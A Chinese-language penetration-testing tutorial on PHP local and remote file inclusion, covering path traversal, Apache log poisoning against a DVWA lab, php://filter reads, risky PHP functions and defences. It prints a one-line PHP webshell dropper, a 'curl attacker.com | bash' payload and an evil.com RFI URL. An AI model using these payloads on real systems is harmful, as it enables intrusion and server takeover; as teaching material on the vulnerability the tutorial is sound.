渗透测试之文件包含漏洞 超详细的文件包含漏洞文章

目录

说明

通常分为两种类型:

本地文件包含

典型的攻击方式1:

影响:

典型的攻击方式2:

包含路径解释:

日志包含漏洞:

操作原理

包含漏洞读取文件 

文件包含漏洞远程代码执行漏洞:

远程文件包含

典型的攻击方式:

影响:

文件包含漏洞的根本原因

语言包含漏洞

PHP文件包含漏洞函数

文件包含漏洞相关的常见 PHP 函数

1. include() 和 require()

2. include_once() 和 require_once()

3. fopen() 和 fread()

4. file_get_contents()

5. readfile()

6. highlight_file()

7. fpassthru()

总结

防御措施

输入验证与过滤:

禁用远程文件包含:

使用绝对路径:

文件包含路径限制:

日志记录与监控:

代码审计与渗透测试:

总结

说明

文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,它允许攻击者通过修改文件路径,包含服务器上未经授权的文件,可能导致敏感信息泄露、代码执行或服务器被入侵。根据文件包含的行为

通常分为两种类型:

  • 本地文件包含(LFI)
  • 远程文件包含(RFI)

本地文件包含

  • LFI 是指攻击者能够包含和执行服务器本地文件系统中的文件

攻击者通过修改程序中的文件路径参数,访问并读取本地文件(如配置文件、日志文件、甚至敏感的系统文件),有时也能执行恶意文件。

典型的攻击方式1:

  • 攻击者通过修改 URL 参数来试图包含本地文件
  • 例如:
http://example.com/index.php?page=../../../../etc/passwd
  • 在这个例子中

攻击者试图通过“../../../../etc/passwd”来访问服务器上的 /etc/passwd 文件(Unix/Linux 系统中的一个存储用户账户信息的文件)。

影响:

  • 信息泄露:攻击者能够查看服务器上的敏感文件(如配置文件、日志文件、密码文件等)。
  • 路径遍历攻击:攻击者可以通过构造特殊的路径,访问并查看不应公开的文件。
  • 恶意文件执行:如果不当配置或存在缺陷,攻击者甚至可以包含可执行文件进行代码执行。

典型的攻击方式2:

  • 用户输入控制: 应用程序允许用户通过URL参数或其他输入来指定文件路径。例如:
<?php
include($_GET['page']);
?>

这种代码会根据用户传入的page参数来包含文件。

包含路径解释:

  1. 绝对路径包含

  2. 相对路径包含

  3. 文件穿越漏洞

  4. 包含一些图片吗进行控制 包含敏感文件读取出来

  5. 远程文件包包含,另外一个网站 得文件,其它网站得文件包含进来。

  6. 直接引用别人得网站得图片 前提是看别人开启了相关参数没。


日志包含漏洞:

  • 日志包含漏洞是指攻击者通过注入恶意内容到日志文件中,可能会破坏日志文件的完整性,或通过日志文件将恶意代码执行。
  • 攻击者可以伪造日志,或在日志中插入恶意的HTTP头、SQL注入等攻击代码,进而进行进一步的攻击。

操作原理

  1. 当某个PHP文件存在本地包含漏洞,而却无法上传正常文件.

  2. 这就意味着有包含漏洞却不能拿来利用,这时攻击者就有可能会利用apache日志文件来入侵.

    1. Apache服务器运行后会生成两个日志文件,这两个文件是access.log(访问日志)和error.log(错误日志)。

    2. apache的日志文件记录下我们的操作,并且写到访问日志文件access.log之中

    3. 前提开启了日志记录功能 apache 其实还是需要指纹收集收到日志目录的位置

    4. 其实这种方式就是把木马直接写入到日志文件中.

    5. 在访问网站得时候 加入木马程序 也就是在访问程序得时候加入一句话木马相关程序 这样就会写入到程序中去了

    6. 蚁箭 冰蝎 连接程序 Winwos程序中都有一句话木马程序 连接

    7. http://192.168.1.9/dvwa/vulnerabilities/fi/?page=../../../../Apache\logs\access.log 写入后再访问 就可以通过日志进行访问

  • 1浏览器日志 记录可能会编译成url编码

  • 2通过抓包 也就会变成正常得编码记录到日志 然后访问日志目录就可以进入文件包含漏洞进行入侵。

  • 记录下php得一句话木马程序写法
  • 写入一句话木马 通过蚁箭连接不上 换个方式写入php一句话木马
  • <?php $file=fopen('jaden.php','w');fputs($file,'<?php @eval($_POST[666]);?>');?>
  • 数据存在于存在与执行得目录中 jaden.php
  • 问题: 我们在实际操作得时候 如何确定日志是空 如何找到对应日志目录 指纹收集


包含漏洞读取文件 

读取php文件 包含就能读取:

  • 采用得是file:///协议

  • 读取php文件不想执行

  • Php:/// 读取文件 指定php协议来读取协议

    • http://192.168.1.9/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file4.php

    • 以base64得数据格式进行读取出来

  • 通过文件包含漏洞利用 file:// 伪协议读取文件是一种常见的攻击手段,特别是当Web应用程序允许通过用户输入指定文件路径时。
  • 攻击者可以利用这种方式绕过某些安全控制,从而读取本地文件(例如 /etc/passwd 或其他敏感文件),或者执行路径遍历攻击来获取服务器上的敏感信息。
  • file:///etc/passwd

文件包含漏洞远程代码执行漏洞:

  • 文件包含漏洞(File Inclusion Vulnerability)如果结合远程文件包含(Remote File Inclusion, RFI)和不当的配置或攻击者操控的输入
  • 可能导致远程代码执行漏洞(Remote Code Execution, RCE)
  • 在这种情况下,攻击者不仅能读取文件,还能执行恶意代码,导致严重的安全问题。
  • 服务端存在包含漏洞

  • 也就是通过include(php://input) 进行执行而不是用文件进行执行

  • 执行得命令

  • Php://input 执行过程

<?php
system('curl -s http://attacker.com/malicious_script.sh | bash');
?>


远程文件包含

  • RFI 是指攻击者能够通过包含远程的恶意文件来攻击网站

通常情况下,RFI 涉及到文件路径中包含 URL,允许攻击者从外部服务器加载并执行恶意脚本。


典型的攻击方式:

  • 攻击者通过修改 URL 中的参数,将远程服务器上的恶意文件包含到服务器中:
http://example.com/index.php?page=http://evil.com/malicious_script.php
  • 在这个例子中
  • 攻击者试图加载并执行远程服务器上的 malicious_script.php 文件
  • 可能执行恶意操作,比如执行反向 shell、窃取数据、或劫持服务器
    • 比如说我们本地搭建了一个程序 编写了一个webshell,然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件,实现对肉鸡的控制。

影响:

  • 远程代码执行:攻击者能够远程执行恶意代码,这可能导致服务器完全被控制。
  • 网站篡改:攻击者可能通过上传恶意脚本,篡改网站内容或窃取用户信息。
  • 数据泄露:攻击者可通过包含恶意文件窃取数据库连接信息或其他敏感数据。

文件包含漏洞的根本原因

  1. 用户输入未严格验证:文件路径参数或 URL 没有经过充分的验证和过滤,允许攻击者修改路径。
  2. 不当的文件处理逻辑:代码未对文件包含操作进行适当的权限控制或路径限制,导致攻击者能够访问和执行敏感文件。
  3. 缺乏安全配置:服务器未启用适当的配置,例如禁止远程文件包含(RFI),或没有禁用危险函数(如 include, require, fopen 等)。

语言包含漏洞

  • 包含操作,在大多数Web语言中都会提供的功能

  • 但PHP对于包含文件所提供的功能太强大,太灵活,所以包含漏洞经常出现在PHP语言中,这也就导致了出现了一个错误现状

  • 很多初学者认为包含漏洞只出现PHP任何语言都会存在文件包含的漏洞.

  • 公共代码封装在专门的文件类中 也就是封装的一个概念 引入其它封装的条件

  • Import-python 也就是代码漏洞

  • 针对不同的语言 比如说 go php java python 也就是对应相关的函数


PHP文件包含漏洞函数

  • PHP 作为一种常用的 Web 编程语言,具有一些常用的函数,这些函数可以导致文件包含漏洞,尤其在没有进行严格的输入验证时。

文件包含漏洞相关的常见 PHP 函数

1. include()require()

功能

  • include()require() 用于将文件引入当前 PHP 文件并执行。
  • include() 在文件不可用时会发出警告(warning)
  • require() 会发出致命错误(fatal error)并停止执行。

安全隐患

include($_GET['page']);
// 如果未进行过滤,攻击者可以传递恶意的文件路径,如 '../../etc/passwd'

如果传入的文件路径(参数)未经过严格验证,攻击者可能利用路径遍历(../../)或者远程文件包含攻击,加载敏感文件或远程恶意文件。


2. include_once()require_once()

功能

  • include()require() 相同,但它们确保文件只会被包含一次,避免重复包含文件导致的错误。

安全隐患

  • 如果传入的文件路径不被验证,攻击者依然可以通过路径遍历或远程文件包含攻击来操控文件包含。

3. fopen()fread()

功能

  • fopen() 打开文件,fread() 读取文件内容,通常用于读取文本或二进制文件内容。

安全隐患

$file = fopen($_GET['file'], "r");  // 如果未验证,攻击者可以操控路径读取文件
  • 如果文件路径未经过验证,攻击者可以读取服务器上的敏感文件或恶意文件。

4. file_get_contents()

功能

file_get_contents() 用于读取文件内容并将其作为字符串返回。

安全隐患

$content = file_get_contents($_GET['file']);

如果参数为用户输入的文件路径或 URL,攻击者可以通过路径遍历或远程文件包含攻击来读取本地或远程恶意文件。


5. readfile()

功能

readfile() 输出文件内容到浏览器,通常用于直接输出文件内容。

安全隐患

readfile($_GET['file']);

攻击者可以通过路径遍历攻击或包含远程文件,输出敏感文件内容或恶意代码。


6. highlight_file()

功能

highlight_file() 输出 PHP 源代码并对其进行语法高亮显示。

安全隐患

highlight_file($_GET['file']);

如果没有限制或验证,攻击者可以通过该函数查看服务器上任意 PHP 文件的源代码,可能泄露敏感信息。


7. fpassthru()

功能

fpassthru() 函数读取并直接输出文件的内容,通常与 fopen() 配合使用。

安全隐患

$file = fopen($_GET['file'], "r");
fpassthru($file);

fread()file_get_contents() 类似,如果文件路径未被验证,攻击者可以利用该函数读取并输出敏感文件内容。


总结

PHP 中的文件包含函数(如 include()require()fopen() 等)是文件包含漏洞的核心来源,尤其在未严格验证用户输入时,容易导致路径遍历、远程文件包含(RFI)或本地文件包含(LFI)攻击。防御这种漏洞的关键是:

  • 严格控制文件路径参数的来源和内容;
  • 禁用不必要的功能(如远程文件包含);
  • 采用绝对路径、白名单、权限控制等手段限制文件的访问范围。

防御措施

  1. 输入验证与过滤

    • 对所有用户输入的文件路径参数进行严格的过滤和验证,拒绝任何可能导致路径遍历(如 ../)的输入。
    • 使用白名单机制,限制只能包含特定目录下的文件。
  2. 禁用远程文件包含

    • 在 PHP 中,禁用 allow_url_includeallow_url_fopen,防止包含远程文件。
    • 设置 open_basedir,限制 PHP 程序只能访问特定目录下的文件。
  3. 使用绝对路径

    • 避免使用用户提供的路径参数来构建文件路径。尽量使用固定的路径或基于配置的安全路径。
  4. 文件包含路径限制

    • 使用 basename() 或类似的函数确保包含的文件不会遍历目录结构。
    • 对于包含的文件,最好限定在特定的目录内,避免通过路径构造访问任意文件。
  5. 日志记录与监控

    • 配置 Web 服务器和应用程序进行日志记录,监控异常的文件包含请求。
    • 设置警报机制,及时发现潜在的文件包含攻击。
  6. 代码审计与渗透测试

    • 定期进行代码审计,检查可能存在文件包含漏洞的地方。
    • 使用自动化工具进行渗透测试,模拟文件包含攻击,查找漏洞。

总结

文件包含漏洞是一个相对常见且危险的安全问题,尤其在动态网页系统中,由于代码没有对外部输入进行有效的验证,攻击者可以通过文件包含漏洞来执行恶意代码或泄露敏感数据。防御这种漏洞的关键在于对用户输入的严格验证、文件路径的严格控制以及远程文件包含的禁用。


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/965132.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Mysql:数据库

Mysql 一、数据库概念&#xff1f;二、MySQL架构三、SQL语句分类四、数据库操作4.1 数据库创建4.2 数据库字符集和校验规则4.3 数据库修改4.4 数据库删除4.4 数据库备份和恢复其他 五、表操作5.1 创建表5.2 修改表5.3 删除表 六、表的增删改查6.1 Create(创建):数据新增1&#…

ChatGPT怎么回事?

纯属发现&#xff0c;调侃一下~ 这段时间deepseek不是特别火吗&#xff0c;尤其是它的推理功能&#xff0c;突发奇想&#xff0c;想用deepseek回答一些问题&#xff0c;回答一个问题之后就回复服务器繁忙&#xff08;估计还在被攻击吧~_~&#xff09; 然后就转向了GPT&#xf…

Vue 中如何嵌入可浮动的第三方网页窗口(附Demo)

目录 前言1. 思路Demo2. 实战Demo 前言 &#x1f91f; 找工作&#xff0c;来万码优才&#xff1a;&#x1f449; #小程序://万码优才/r6rqmzDaXpYkJZF 1. 思路Demo 以下Demo提供思路参考&#xff0c;需要结合实际自身应用代码 下述URL的链接使用百度替代&#xff01; 方式 1…

【Linux】23.进程间通信(2)

文章目录 3. 进程间通信3.1 进程间通信介绍3.1.1 进程间通信目的3.1.2 进程间通信发展 3.2 什么是进程间通信3.3 管道3.4 匿名管道pipe()3.4.1 站在文件描述符角度-深度理解管道3.4.2 站在内核角度-管道本质3.4.3 用fork来共享管道原理3.4.5 管道相关知识3.4.6 代码一&#xff…

AI大模型开发原理篇-8:Transformer模型

近几年人工智能之所以能迅猛发展&#xff0c;主要是靠2个核心思想&#xff1a;注意力机制Attention Mechanism 和 Transformer模型。本次来浅谈下Transformer模型。 重要性 Transformer模型在自然语言处理领域具有极其重要的地位&#xff0c;为NLP带来了革命性的突破‌。可以…

html2canvas绘制页面并生成图像 下载

1. 简介 html2canvas是一个开源的JavaScript库&#xff0c;它允许开发者在用户的浏览器中直接将HTML元素渲染为画布&#xff08;Canvas&#xff09;&#xff0c;并生成图像。以下是对html2canvas的详细介绍&#xff1a; 2. 主要功能 html2canvas的主要功能是将网页中的HTML元…

基于RK3588/RK3576+MCU STM32+AI的储能电站电池簇管理系统设计与实现

伴随近年来新型储能技术的高质量规模化发展&#xff0c;储能电站作为新能源领域的重要载体&#xff0c; 旨在配合逐步迈进智能电网时代&#xff0c;满足电力系统能源结构与分布的创新升级&#xff0c;给予相应规模 电池管理系统的设计与实现以新的挑战。同时&#xff0c;电子系…

机器学习-线性回归(参数估计之结构风险最小化)

前面我们已经了解过关于机器学习中的结构风险最小化准则&#xff0c;包括L1 正则化&#xff08;Lasso&#xff09;、L2 正则化&#xff08;Ridge&#xff09;、Elastic Net&#xff0c;现在我们结合线性回归的场景&#xff0c;来了解一下线性回归的结构风险最小化&#xff0c;通…

【数据分析】豆瓣电影Top250的数据分析与Web网页可视化(numpy+pandas+matplotlib+flask)

豆瓣电影Top250的数据分析与Web网页可视化(numpy+pandas+matplotlib+flask) 豆瓣电影Top250官网:https://movie.douban.com/top250写在前面 实验目的:实现豆瓣电影Top250详情的数据分析与Web网页可视化。电脑系统:Windows使用软件:PyCharm、NavicatPython版本:Python 3.…

备考蓝桥杯8——EEPROM读写

目录 看手册时间 关于IIC 附录 IIC代码 看手册时间 我们主要是搞编程&#xff0c;所以&#xff0c;我们一般会非常关心我们如何对EEPROM进行编程。特别的&#xff0c;EEPROM要做读写&#xff0c;首先是看它的IIC设备地址。 有趣的是——我们的EEPROM的IIC地址是根据地址进行…

深入浅出:旋转变位编码(RoPE)在现代大语言模型中的应用

在现代大语言模型&#xff08;LLMs&#xff09;中&#xff0c;位置编码是一个至关重要的组件。无论是 Meta 的 LLaMA 还是 Google 的 PaLM&#xff0c;这些模型都依赖于位置编码来捕捉序列中元素的顺序信息。而旋转变位编码&#xff08;RoPE&#xff09; 作为一种创新的位置编码…

“message“: “类型注释只能在 TypeScript 文件中使用

VScode中使用CtrlShiftP打开搜素框&#xff0c;输入Preferences: Open User Settings或Preferences: Open Workspace Settings。 找到settings.json文件 "typescript.validate.enable": false

VSCode中使用EmmyLua插件对Unity的tolua断点调试

一.VSCode中搜索安装EmmyLua插件 二.创建和编辑launch.json文件 初始的launch.json是这样的 手动编辑加上一段内容如下图所示&#xff1a; 三.启动调试模式&#xff0c;并选择附加的进程

SQL 秒变三线表 sql导出三线表

&#x1f3af;SQL 秒变三线表&#xff0c;校园小助手超神啦 宝子们&#xff0c;搞数据分析、写论文的时候&#xff0c;从 SQL 里导出数据做成三线表是不是特别让人头疼&#x1f629; 手动调整格式&#xff0c;不仅繁琐&#xff0c;还容易出错&#xff0c;分分钟把人逼疯&#…

学习threejs,pvr格式图片文件贴图

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️PVR贴图1.2 ☘️THREE.Mesh…

力扣1022. 从根到叶的二进制数之和(二叉树的遍历思想解决)

Problem: 1022. 从根到叶的二进制数之和 文章目录 题目描述思路复杂度Code 题目描述 思路 遍历思想(利用二叉树的先序遍历) 1.在先序遍历的过程中&#xff0c;用一个变量path记录并更新其经过的路径上的值&#xff0c;当遇到根节点时再将其加到结果值res上&#xff1b; 2.该题…

.NET 中实现生产者-消费者模型,BlockingCollection<T> 和 Channel<T>使用示例

一、方案对比&#xff1a;不同线程安全集合的适用场景 二、推荐方案及示例代码 方案 1&#xff1a;使用 BlockingCollection&#xff08;同步模型&#xff09; public class QueueDemo {private readonly BlockingCollection<int> _blockingCollection new BlockingCo…

C_位运算符及其在单片机寄存器的操作

C语言的位运算符用于直接操作二进制位&#xff0c;本篇简单结束各个位运算符的作业及其在操作寄存器的应用场景。 一、位运算符的简单说明 1、按位与运算符&#xff08;&&#xff09; 功能&#xff1a;按位与运算符对两个操作数的每一位执行与操作。如果两个对应的二进制…

Redis入门概述

1.1、Redis是什么 Redis&#xff1a;官网 高性能带有数据结构的Key-Value内存数据库 Remote Dictionary Server&#xff08;远程字典服务器&#xff09;是完全开源的&#xff0c;使用ANSIC语言编写遵守BSD协议&#xff0c;例如String、Hash、List、Set、SortedSet等等。数据…

个人毕业设计--基于HarmonyOS的旅行助手APP的设计与实现(挖坑)

在行业混了短短几年&#xff0c;却总感觉越混越迷茫&#xff0c;趁着还有心情学习&#xff0c;把当初API9 的毕业设计项目改成API13的项目。先占个坑&#xff0c;把当初毕业设计的文案搬过来 摘要&#xff1a;HarmonyOS&#xff08;鸿蒙系统&#xff09;是华为公司推出的面向全…